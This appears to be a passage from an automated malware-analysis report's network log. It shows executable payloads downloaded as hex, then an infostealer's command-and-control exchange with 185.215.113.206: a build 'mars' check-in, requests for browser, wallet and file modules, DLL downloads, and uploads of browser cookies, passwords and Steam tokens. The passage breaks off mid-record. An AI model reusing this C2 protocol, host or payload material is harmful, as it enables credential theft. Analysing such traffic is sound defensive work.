Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 18:12:03 GMTContent-Type: application/octet-streamContent-Length: 1912320Last-Modified: Sun, 24 Nov 2024 17:51:19 GMTConnection: keep-aliveETag: "67436797-1d2e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 54 7f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c df 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c df 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 69 66 6c 79 63 62 66 00 10 1a 00 00 d0 31 00 00 10 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6a 78 73 67 6d 73 6d 00 10 00 00 00 e0 4b 00 00 06 00 00 00 06 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 0c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 18:13:11 GMTContent-Type: application/octet-streamContent-Length: 4374016Last-Modified: Sun, 24 Nov 2024 17:03:21 GMTConnection: keep-aliveETag: "67435c59-42be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c4 00 00 04 00 00 ed 2a 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3a c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 3a c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 72 6f 66 7a 73 74 00 10 1b 00 00 30 a9 00 00 0c 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 79 71 76 7a 6c 6a 00 10 00 00 00 40 c4 00 00 04 00 00 00 98 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 c4 00 00 22 00 00 00 9c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 39 31 38 43 30 45 37 39 34 39 31 35 38 34 32 36 35 39 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="hwid"A0918C0E79491584265921------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="build"mars------IDBAKKECAEGCAKFIIIDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"browsers------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="message"plugins------FIDHCFBAKFBGDGDHJKJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="message"fplugins------BAAFBFBAAKECFIEBFIEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 185.215.113.206Content-Length: 5527Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKECHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIEHJKJJJECFHJJJKKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 2d 2d 0d 0a Data Ascii: ------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file"------JJEGIJEGDBFHDGCAFCAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"wallets------JDGIIJJDHDGCGDHIJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFIDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 2d 2d 0d 0a Data Ascii: ------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="message"files------EBGDHJECFCFCAKFHCFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 